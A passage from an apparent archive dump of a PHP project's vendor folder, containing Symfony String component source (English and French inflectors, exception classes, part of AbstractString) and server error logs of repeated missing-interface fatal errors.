"Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php on line 14 [19-Nov-2025 18:40:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php on line 14 [19-Nov-2025 18:55:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php on line 14 [25-Nov-2025 02:59:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php on line 14 [25-Nov-2025 03:00:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php on line 14 [26-Nov-2025 02:07:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/RuntimeException.php on line 14 [26-Nov-2025 03:34:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Exception/InvalidArgumentException.php on line 14 string/Exception/InvalidArgumentException.php000064400000000600151113511530015461 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Exception; class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } string/Inflector/EnglishInflector.php000064400000036746151113511530013763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Inflector; final class EnglishInflector implements InflectorInterface { /** * Map English plural to singular suffixes. * * @see http://english-zone.com/spelling/plurals.html */ private const PLURAL_MAP = [ // First entry: plural suffix, reversed // Second entry: length of plural suffix // Third entry: Whether the suffix may succeed a vocal // Fourth entry: Whether the suffix may succeed a consonant // Fifth entry: singular suffix, normal // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['a', 1, true, true, ['on', 'um']], // nebulae (nebula) ['ea', 2, true, true, 'a'], // services (service) ['secivres', 8, true, true, 'service'], // mice (mouse), lice (louse) ['eci', 3, false, true, 'ouse'], // geese (goose) ['esee', 4, false, true, 'oose'], // fungi (fungus), alumni (alumnus), syllabi (syllabus), radii (radius) ['i', 1, true, true, 'us'], // men (man), women (woman) ['nem', 3, true, true, 'man'], // children (child) ['nerdlihc', 8, true, true, 'child'], // oxen (ox) ['nexo', 4, false, false, 'ox'], // indices (index), appendices (appendix), prices (price) ['seci', 4, false, true, ['ex', 'ix', 'ice']], // codes (code) ['sedoc', 5, false, true, 'code'], // selfies (selfie) ['seifles', 7, true, true, 'selfie'], // zombies (zombie) ['seibmoz', 7, true, true, 'zombie'], // movies (movie) ['seivom', 6, true, true, 'movie'], // names (name) ['seman', 5, true, false, 'name'], // conspectuses (conspectus), prospectuses (prospectus) ['sesutcep', 8, true, true, 'pectus'], // feet (foot) ['teef', 4, true, true, 'foot'], // geese (goose) ['eseeg', 5, true, true, 'goose'], // teeth (tooth) ['hteet', 5, true, true, 'tooth'], // news (news) ['swen', 4, true, true, 'news'], // series (series) ['seires', 6, true, true, 'series'], // babies (baby) ['sei', 3, false, true, 'y'], // accesses (access), addresses (address), kisses (kiss) ['sess', 4, true, false, 'ss'], // statuses (status) ['sesutats', 8, true, true, 'status'], // analyses (analysis), ellipses (ellipsis), fungi (fungus), // neuroses (neurosis), theses (thesis), emphases (emphasis), // oases (oasis), crises (crisis), houses (house), bases (base), // atlases (atlas) ['ses', 3, true, true, ['s', 'se', 'sis']], // objectives (objective), alternative (alternatives) ['sevit', 5, true, true, 'tive'], // drives (drive) ['sevird', 6, false, true, 'drive'], // lives (life), wives (wife) ['sevi', 4, false, true, 'ife'], // moves (move) ['sevom', 5, true, true, 'move'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf), caves (cave), staves (staff) ['sev', 3, true, true, ['f', 've', 'ff']], // axes (axis), axes (ax), axes (axe) ['sexa', 4, false, false, ['ax', 'axe', 'axis']], // indexes (index), matrixes (matrix) ['sex', 3, true, false, 'x'], // quizzes (quiz) ['sezz', 4, true, false, 'z'], // bureaus (bureau) ['suae', 4, false, true, 'eau'], // fees (fee), trees (tree), employees (employee) ['see', 3, true, true, 'ee'], // edges (edge) ['segd', 4, true, true, 'dge'], // roses (rose), garages (garage), cassettes (cassette), // waltzes (waltz), heroes (hero), bushes (bush), arches (arch), // shoes (shoe) ['se', 2, true, true, ['', 'e']], // status (status) ['sutats', 6, true, true, 'status'], // tags (tag) ['s', 1, true, true, ''], // chateaux (chateau) ['xuae', 4, false, true, 'eau'], // people (person) ['elpoep', 6, true, true, 'person'], ]; /** * Map English singular to plural suffixes. * * @see http://english-zone.com/spelling/plurals.html */ private const SINGULAR_MAP = [ // First entry: singular suffix, reversed // Second entry: length of singular suffix // Third entry: Whether the suffix may succeed a vocal // Fourth entry: Whether the suffix may succeed a consonant // Fifth entry: plural suffix, normal // criterion (criteria) ['airetirc', 8, false, false, 'criterion'], // nebulae (nebula) ['aluben', 6, false, false, 'nebulae'], // children (child) ['dlihc', 5, true, true, 'children'], // prices (price) ['eci', 3, false, true, 'ices'], // services (service) ['ecivres', 7, true, true, 'services'], // lives (life), wives (wife) ['efi', 3, false, true, 'ives'], // selfies (selfie) ['eifles', 6, true, true, 'selfies'], // movies (movie) ['eivom', 5, true, true, 'movies'], // lice (louse) ['esuol', 5, false, true, 'lice'], // mice (mouse) ['esuom', 5, false, true, 'mice'], // geese (goose) ['esoo', 4, false, true, 'eese'], // houses (house), bases (base) ['es', 2, true, true, 'ses'], // geese (goose) ['esoog', 5, true, true, 'geese'], // caves (cave) ['ev', 2, true, true, 'ves'], // drives (drive) ['evird', 5, false, true, 'drives'], // objectives (objective), alternative (alternatives) ['evit', 4, true, true, 'tives'], // moves (move) ['evom', 4, true, true, 'moves'], // staves (staff) ['ffats', 5, true, true, 'staves'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf) ['ff', 2, true, true, 'ffs'], // hooves (hoof), dwarves (dwarf), elves (elf), leaves (leaf) ['f', 1, true, true, ['fs', 'ves']], // arches (arch) ['hc', 2, true, true, 'ches'], // bushes (bush) ['hs', 2, true, true, 'shes'], // teeth (tooth) ['htoot', 5, true, true, 'teeth'], // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['mu', 2, true, true, 'a'], // men (man), women (woman) ['nam', 3, true, true, 'men'], // people (person) ['nosrep', 6, true, true, ['persons', 'people']], // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['noi', 3, true, true, 'ions'], // coupon (coupons) ['nop', 3, true, true, 'pons'], // seasons (season), treasons (treason), poisons (poison), lessons (lesson) ['nos', 3, true, true, 'sons'], // bacteria (bacterium), criteria (criterion), phenomena (phenomenon) ['no', 2, true, true, 'a'], // echoes (echo) ['ohce', 4, true, true, 'echoes'], // heroes (hero) ['oreh', 4, true, true, 'heroes'], // atlases (atlas) ['salta', 5, true, true, 'atlases'], // irises (iris) ['siri', 4, true, true, 'irises'], // analyses (analysis), ellipses (ellipsis), neuroses (neurosis) // theses (thesis), emphases (emphasis), oases (oasis), // crises (crisis) ['sis', 3, true, true, 'ses'], // accesses (access), addresses (address), kisses (kiss) ['ss', 2, true, false, 'sses'], // syllabi (syllabus) ['suballys', 8, true, true, 'syllabi'], // buses (bus) ['sub', 3, true, true, 'buses'], // circuses (circus) ['suc', 3, true, true, 'cuses'], // status (status) ['sutats', 6, true, true, ['status', 'statuses']], // conspectuses (conspectus), prospectuses (prospectus) ['sutcep', 6, true, true, 'pectuses'], // fungi (fungus), alumni (alumnus), syllabi (syllabus), radii (radius) ['su', 2, true, true, 'i'], // news (news) ['swen', 4, true, true, 'news'], // feet (foot) ['toof', 4, true, true, 'feet'], // chateaux (chateau), bureaus (bureau) ['uae', 3, false, true, ['eaus', 'eaux']], // oxen (ox) ['xo', 2, false, false, 'oxen'], // hoaxes (hoax) ['xaoh', 4, true, false, 'hoaxes'], // indices (index) ['xedni', 5, false, true, ['indicies', 'indexes']], // boxes (box) ['xo', 2, false, true, 'oxes'], // indexes (index), matrixes (matrix) ['x', 1, true, false, ['cies', 'xes']], // appendices (appendix) ['xi', 2, false, true, 'ices'], // babies (baby) ['y', 1, false, true, 'ies'], // quizzes (quiz) ['ziuq', 4, true, false, 'quizzes'], // waltzes (waltz) ['z', 1, true, true, 'zes'], ]; /** * A list of words which should not be inflected, reversed. */ private const UNINFLECTED = [ '', // data 'atad', // deer 'reed', // feedback 'kcabdeef', // fish 'hsif', // info 'ofni', // moose 'esoom', // series 'seires', // sheep 'peehs', // species 'seiceps', ]; public function singularize(string $plural): array { $pluralRev = strrev($plural); $lowerPluralRev = strtolower($pluralRev); $pluralLength = \strlen($lowerPluralRev); // Check if the word is one which is not inflected, return early if so if (\in_array($lowerPluralRev, self::UNINFLECTED, true)) { return [$plural]; } // The outer loop iterates over the entries of the plural table // The inner loop $j iterates over the characters of the plural suffix // in the plural table to compare them with the characters of the actual // given plural suffix foreach (self::PLURAL_MAP as $map) { $suffix = $map[0]; $suffixLength = $map[1]; $j = 0; // Compare characters in the plural table and of the suffix of the // given plural one by one while ($suffix[$j] === $lowerPluralRev[$j]) { // Let $j point to the next character ++$j; // Successfully compared the last character // Add an entry with the singular suffix to the singular array if ($j === $suffixLength) { // Is there any character preceding the suffix in the plural string? if ($j < $pluralLength) { $nextIsVocal = str_contains('aeiou', $lowerPluralRev[$j]); if (!$map[2] && $nextIsVocal) { // suffix may not succeed a vocal but next char is one break; } if (!$map[3] && !$nextIsVocal) { // suffix may not succeed a consonant but next char is one break; } } $newBase = substr($plural, 0, $pluralLength - $suffixLength); $newSuffix = $map[4]; // Check whether the first character in the plural suffix // is uppercased. If yes, uppercase the first character in // the singular suffix too $firstUpper = ctype_upper($pluralRev[$j - 1]); if (\is_array($newSuffix)) { $singulars = []; foreach ($newSuffix as $newSuffixEntry) { $singulars[] = $newBase.($firstUpper ? ucfirst($newSuffixEntry) : $newSuffixEntry); } return $singulars; } return [$newBase.($firstUpper ? ucfirst($newSuffix) : $newSuffix)]; } // Suffix is longer than word if ($j === $pluralLength) { break; } } } // Assume that plural and singular is identical return [$plural]; } public function pluralize(string $singular): array { $singularRev = strrev($singular); $lowerSingularRev = strtolower($singularRev); $singularLength = \strlen($lowerSingularRev); // Check if the word is one which is not inflected, return early if so if (\in_array($lowerSingularRev, self::UNINFLECTED, true)) { return [$singular]; } // The outer loop iterates over the entries of the singular table // The inner loop $j iterates over the characters of the singular suffix // in the singular table to compare them with the characters of the actual // given singular suffix foreach (self::SINGULAR_MAP as $map) { $suffix = $map[0]; $suffixLength = $map[1]; $j = 0; // Compare characters in the singular table and of the suffix of the // given plural one by one while ($suffix[$j] === $lowerSingularRev[$j]) { // Let $j point to the next character ++$j; // Successfully compared the last character // Add an entry with the plural suffix to the plural array if ($j === $suffixLength) { // Is there any character preceding the suffix in the plural string? if ($j < $singularLength) { $nextIsVocal = str_contains('aeiou', $lowerSingularRev[$j]); if (!$map[2] && $nextIsVocal) { // suffix may not succeed a vocal but next char is one break; } if (!$map[3] && !$nextIsVocal) { // suffix may not succeed a consonant but next char is one break; } } $newBase = substr($singular, 0, $singularLength - $suffixLength); $newSuffix = $map[4]; // Check whether the first character in the singular suffix // is uppercased. If yes, uppercase the first character in // the singular suffix too $firstUpper = ctype_upper($singularRev[$j - 1]); if (\is_array($newSuffix)) { $plurals = []; foreach ($newSuffix as $newSuffixEntry) { $plurals[] = $newBase.($firstUpper ? ucfirst($newSuffixEntry) : $newSuffixEntry); } return $plurals; } return [$newBase.($firstUpper ? ucfirst($newSuffix) : $newSuffix)]; } // Suffix is longer than word if ($j === $singularLength) { break; } } } // Assume that plural is singular with a trailing `s` return [$singular.'s']; } } string/Inflector/InflectorInterface.php000064400000001503151113511530014251 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Inflector; interface InflectorInterface { /** * Returns the singular forms of a string. * * If the method can't determine the form with certainty, several possible singulars are returned. * * @return string[] */ public function singularize(string $plural): array; /** * Returns the plural forms of a string. * * If the method can't determine the form with certainty, several possible plurals are returned. * * @return string[] */ public function pluralize(string $singular): array; } string/Inflector/FrenchInflector.php000064400000013513151113511540013563 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String\Inflector; /** * French inflector. * * This class does only inflect nouns; not adjectives nor composed words like "soixante-dix". */ final class FrenchInflector implements InflectorInterface { /** * A list of all rules for pluralise. * * @see https://la-conjugaison.nouvelobs.com/regles/grammaire/le-pluriel-des-noms-121.php */ private const PLURALIZE_REGEXP = [ // First entry: regexp // Second entry: replacement // Words finishing with "s", "x" or "z" are invariables // Les mots finissant par "s", "x" ou "z" sont invariables ['/(s|x|z)$/i', '\1'], // Words finishing with "eau" are pluralized with a "x" // Les mots finissant par "eau" prennent tous un "x" au pluriel ['/(eau)$/i', '\1x'], // Words finishing with "au" are pluralized with a "x" excepted "landau" // Les mots finissant par "au" prennent un "x" au pluriel sauf "landau" ['/^(landau)$/i', '\1s'], ['/(au)$/i', '\1x'], // Words finishing with "eu" are pluralized with a "x" excepted "pneu", "bleu", "émeu" // Les mots finissant en "eu" prennent un "x" au pluriel sauf "pneu", "bleu", "émeu" ['/^(pneu|bleu|émeu)$/i', '\1s'], ['/(eu)$/i', '\1x'], // Words finishing with "al" are pluralized with a "aux" excepted // Les mots finissant en "al" se terminent en "aux" sauf ['/^(bal|carnaval|caracal|chacal|choral|corral|étal|festival|récital|val)$/i', '\1s'], ['/al$/i', '\1aux'], // Aspirail, bail, corail, émail, fermail, soupirail, travail, vantail et vitrail font leur pluriel en -aux ['/^(aspir|b|cor|ém|ferm|soupir|trav|vant|vitr)ail$/i', '\1aux'], // Bijou, caillou, chou, genou, hibou, joujou et pou qui prennent un x au pluriel ['/^(bij|caill|ch|gen|hib|jouj|p)ou$/i', '\1oux'], // Invariable words ['/^(cinquante|soixante|mille)$/i', '\1'], // French titles ['/^(mon|ma)(sieur|dame|demoiselle|seigneur)$/', 'mes\2s'], ['/^(Mon|Ma)(sieur|dame|demoiselle|seigneur)$/', 'Mes\2s'], ]; /** * A list of all rules for singularize. */ private const SINGULARIZE_REGEXP = [ // First entry: regexp // Second entry: replacement // Aspirail, bail, corail, émail, fermail, soupirail, travail, vantail et vitrail font leur pluriel en -aux ['/((aspir|b|cor|ém|ferm|soupir|trav|vant|vitr))aux$/i', '\1ail'], // Words finishing with "eau" are pluralized with a "x" // Les mots finissant par "eau" prennent tous un "x" au pluriel ['/(eau)x$/i', '\1'], // Words finishing with "al" are pluralized with a "aux" expected // Les mots finissant en "al" se terminent en "aux" sauf ['/(amir|anim|arsen|boc|can|capit|capor|chev|crist|génér|hopit|hôpit|idé|journ|littor|loc|m|mét|minér|princip|radic|termin)aux$/i', '\1al'], // Words finishing with "au" are pluralized with a "x" excepted "landau" // Les mots finissant par "au" prennent un "x" au pluriel sauf "landau" ['/(au)x$/i', '\1'], // Words finishing with "eu" are pluralized with a "x" excepted "pneu", "bleu", "émeu" // Les mots finissant en "eu" prennent un "x" au pluriel sauf "pneu", "bleu", "émeu" ['/(eu)x$/i', '\1'], // Words finishing with "ou" are pluralized with a "s" excepted bijou, caillou, chou, genou, hibou, joujou, pou // Les mots finissant par "ou" prennent un "s" sauf bijou, caillou, chou, genou, hibou, joujou, pou ['/(bij|caill|ch|gen|hib|jouj|p)oux$/i', '\1ou'], // French titles ['/^mes(dame|demoiselle)s$/', 'ma\1'], ['/^Mes(dame|demoiselle)s$/', 'Ma\1'], ['/^mes(sieur|seigneur)s$/', 'mon\1'], ['/^Mes(sieur|seigneur)s$/', 'Mon\1'], // Default rule ['/s$/i', ''], ]; /** * A list of words which should not be inflected. * This list is only used by singularize. */ private const UNINFLECTED = '/^(abcès|accès|abus|albatros|anchois|anglais|autobus|bois|brebis|carquois|cas|chas|colis|concours|corps|cours|cyprès|décès|devis|discours|dos|embarras|engrais|entrelacs|excès|fils|fois|gâchis|gars|glas|héros|intrus|jars|jus|kermès|lacis|legs|lilas|marais|mars|matelas|mépris|mets|mois|mors|obus|os|palais|paradis|parcours|pardessus|pays|plusieurs|poids|pois|pouls|printemps|processus|progrès|puits|pus|rabais|radis|recors|recours|refus|relais|remords|remous|rictus|rhinocéros|repas|rubis|sans|sas|secours|sens|souris|succès|talus|tapis|tas|taudis|temps|tiers|univers|velours|verglas|vernis|virus)$/i'; public function singularize(string $plural): array { if ($this->isInflectedWord($plural)) { return [$plural]; } foreach (self::SINGULARIZE_REGEXP as $rule) { [$regexp, $replace] = $rule; if (1 === preg_match($regexp, $plural)) { return [preg_replace($regexp, $replace, $plural)]; } } return [$plural]; } public function pluralize(string $singular): array { if ($this->isInflectedWord($singular)) { return [$singular]; } foreach (self::PLURALIZE_REGEXP as $rule) { [$regexp, $replace] = $rule; if (1 === preg_match($regexp, $singular)) { return [preg_replace($regexp, $replace, $singular)]; } } return [$singular.'s']; } private function isInflectedWord(string $word): bool { return 1 === preg_match(self::UNINFLECTED, $word); } } string/Inflector/error_log000064400000005540151113511540011715 0ustar00[19-Nov-2025 12:37:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php on line 19 [19-Nov-2025 12:44:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php on line 14 [19-Nov-2025 12:56:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php on line 19 [19-Nov-2025 13:37:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php on line 14 [19-Nov-2025 13:38:13 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php on line 19 [19-Nov-2025 18:40:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php on line 14 [25-Nov-2025 04:32:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/FrenchInflector.php on line 19 [25-Nov-2025 05:25:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\String\Inflector\InflectorInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/Inflector/EnglishInflector.php on line 14 string/AbstractString.php000064400000045156151113511540011525 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /** * Represents a string of abstract characters. * * Unicode defines 3 types of "characters" (bytes, code points and grapheme clusters). * This class is the abstract type to use as a type-hint when the logic you want to * implement doesn't care about the exact variant it deals with. * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ abstract class AbstractString implements \Stringable, \JsonSerializable { public const PREG_PATTERN_ORDER = \PREG_PATTERN_ORDER; public const PREG_SET_ORDER = \PREG_SET_ORDER; public const PREG_OFFSET_CAPTURE = \PREG_OFFSET_CAPTURE; public const PREG_UNMATCHED_AS_NULL = \PREG_UNMATCHED_AS_NULL; public const PREG_SPLIT = 0; public const PREG_SPLIT_NO_EMPTY = \PREG_SPLIT_NO_EMPTY; public const PREG_SPLIT_DELIM_CAPTURE = \PREG_SPLIT_DELIM_CAPTURE; public const PREG_SPLIT_OFFSET_CAPTURE = \PREG_SPLIT_OFFSET_CAPTURE; protected $string = ''; protected $ignoreCase = false; abstract public function __construct(string $string = ''); /** * Unwraps instances of AbstractString back to strings. * * @return string[]|array */ public static function unwrap(array $values): array { foreach ($values as $k => $v) { if ($v instanceof self) { $values[$k] = $v->__toString(); } elseif (\is_array($v) && $values[$k] !== $v = static::unwrap($v)) { $values[$k] = $v; } } return $values; } /** * Wraps (and normalizes) strings in instances of AbstractString. * * @return static[]|array */ public static function wrap(array $values): array { $i = 0; $keys = null; foreach ($values as $k => $v) { if (\is_string($k) && '' !== $k && $k !== $j = (string) new static($k)) { $keys ??= array_keys($values); $keys[$i] = $j; } if (\is_string($v)) { $values[$k] = new static($v); } elseif (\is_array($v) && $values[$k] !== $v = static::wrap($v)) { $values[$k] = $v; } ++$i; } return null !== $keys ? array_combine($keys, $values) : $values; } /** * @param string|string[] $needle */ public function after(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = \PHP_INT_MAX; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOf($n, $offset); if (null !== $j && $j < $i) { $i = $j; $str->string = $n; } } if (\PHP_INT_MAX === $i) { return $str; } if (!$includeNeedle) { $i += $str->length(); } return $this->slice($i); } /** * @param string|string[] $needle */ public function afterLast(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = null; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOfLast($n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; $str->string = $n; } } if (null === $i) { return $str; } if (!$includeNeedle) { $i += $str->length(); } return $this->slice($i); } abstract public function append(string ...$suffix): static; /** * @param string|string[] $needle */ public function before(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = \PHP_INT_MAX; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOf($n, $offset); if (null !== $j && $j < $i) { $i = $j; $str->string = $n; } } if (\PHP_INT_MAX === $i) { return $str; } if ($includeNeedle) { $i += $str->length(); } return $this->slice(0, $i); } /** * @param string|string[] $needle */ public function beforeLast(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = null; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOfLast($n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; $str->string = $n; } } if (null === $i) { return $str; } if ($includeNeedle) { $i += $str->length(); } return $this->slice(0, $i); } /** * @return int[] */ public function bytesAt(int $offset): array { $str = $this->slice($offset, 1); return '' === $str->string ? [] : array_values(unpack('C*', $str->string)); } abstract public function camel(): static; /** * @return static[] */ abstract public function chunk(int $length = 1): array; public function collapseWhitespace(): static { $str = clone $this; $str->string = trim(preg_replace("/(?:[ \n\r\t\x0C]{2,}+|[\n\r\t\x0C])/", ' ', $str->string), " \n\r\t\x0C"); return $str; } /** * @param string|string[] $needle */ public function containsAny(string|iterable $needle): bool { return null !== $this->indexOf($needle); } /** * @param string|string[] $suffix */ public function endsWith(string|iterable $suffix): bool { if (\is_string($suffix)) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($suffix as $s) { if ($this->endsWith((string) $s)) { return true; } } return false; } public function ensureEnd(string $suffix): static { if (!$this->endsWith($suffix)) { return $this->append($suffix); } $suffix = preg_quote($suffix); $regex = '{('.$suffix.')(?:'.$suffix.')++$}D'; return $this->replaceMatches($regex.($this->ignoreCase ? 'i' : ''), '$1'); } public function ensureStart(string $prefix): static { $prefix = new static($prefix); if (!$this->startsWith($prefix)) { return $this->prepend($prefix); } $str = clone $this; $i = $prefixLen = $prefix->length(); while ($this->indexOf($prefix, $i) === $i) { $str = $str->slice($prefixLen); $i += $prefixLen; } return $str; } /** * @param string|string[] $string */ public function equalsTo(string|iterable $string): bool { if (\is_string($string)) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($string as $s) { if ($this->equalsTo((string) $s)) { return true; } } return false; } abstract public function folded(): static; public function ignoreCase(): static { $str = clone $this; $str->ignoreCase = true; return $str; } /** * @param string|string[] $needle */ public function indexOf(string|iterable $needle, int $offset = 0): ?int { if (\is_string($needle)) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } $i = \PHP_INT_MAX; foreach ($needle as $n) { $j = $this->indexOf((string) $n, $offset); if (null !== $j && $j < $i) { $i = $j; } } return \PHP_INT_MAX === $i ? null : $i; } /** * @param string|string[] $needle */ public function indexOfLast(string|iterable $needle, int $offset = 0): ?int { if (\is_string($needle)) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } $i = null; foreach ($needle as $n) { $j = $this->indexOfLast((string) $n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; } } return $i; } public function isEmpty(): bool { return '' === $this->string; } abstract public function join(array $strings, string $lastGlue = null): static; public function jsonSerialize(): string { return $this->string; } abstract public function length(): int; abstract public function lower(): static; /** * Matches the string using a regular expression. * * Pass PREG_PATTERN_ORDER or PREG_SET_ORDER as $flags to get all occurrences matching the regular expression. * * @return array All matches in a multi-dimensional array ordered according to flags */ abstract public function match(string $regexp, int $flags = 0, int $offset = 0): array; abstract public function padBoth(int $length, string $padStr = ' '): static; abstract public function padEnd(int $length, string $padStr = ' '): static; abstract public function padStart(int $length, string $padStr = ' '): static; abstract public function prepend(string ...$prefix): static; public function repeat(int $multiplier): static { if (0 > $multiplier) { throw new InvalidArgumentException(sprintf('Multiplier must be positive, %d given.', $multiplier)); } $str = clone $this; $str->string = str_repeat($str->string, $multiplier); return $str; } abstract public function replace(string $from, string $to): static; abstract public function replaceMatches(string $fromRegexp, string|callable $to): static; abstract public function reverse(): static; abstract public function slice(int $start = 0, int $length = null): static; abstract public function snake(): static; abstract public function splice(string $replacement, int $start = 0, int $length = null): static; /** * @return static[] */ public function split(string $delimiter, int $limit = null, int $flags = null): array { if (null === $flags) { throw new \TypeError('Split behavior when $flags is null must be implemented by child classes.'); } if ($this->ignoreCase) { $delimiter .= 'i'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (false === $chunks = preg_split($delimiter, $this->string, $limit, $flags)) { throw new RuntimeException('Splitting failed with error: '.preg_last_error_msg()); } } finally { restore_error_handler(); } $str = clone $this; if (self::PREG_SPLIT_OFFSET_CAPTURE & $flags) { foreach ($chunks as &$chunk) { $str->string = $chunk[0]; $chunk[0] = clone $str; } } else { foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } } return $chunks; } /** * @param string|string[] $prefix */ public function startsWith(string|iterable $prefix): bool { if (\is_string($prefix)) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($prefix as $prefix) { if ($this->startsWith((string) $prefix)) { return true; } } return false; } abstract public function title(bool $allWords = false): static; public function toByteString(string $toEncoding = null): ByteString { $b = new ByteString(); $toEncoding = \in_array($toEncoding, ['utf8', 'utf-8', 'UTF8'], true) ? 'UTF-8' : $toEncoding; if (null === $toEncoding || $toEncoding === $fromEncoding = $this instanceof AbstractUnicodeString || preg_match('//u', $b->string) ? 'UTF-8' : 'Windows-1252') { $b->string = 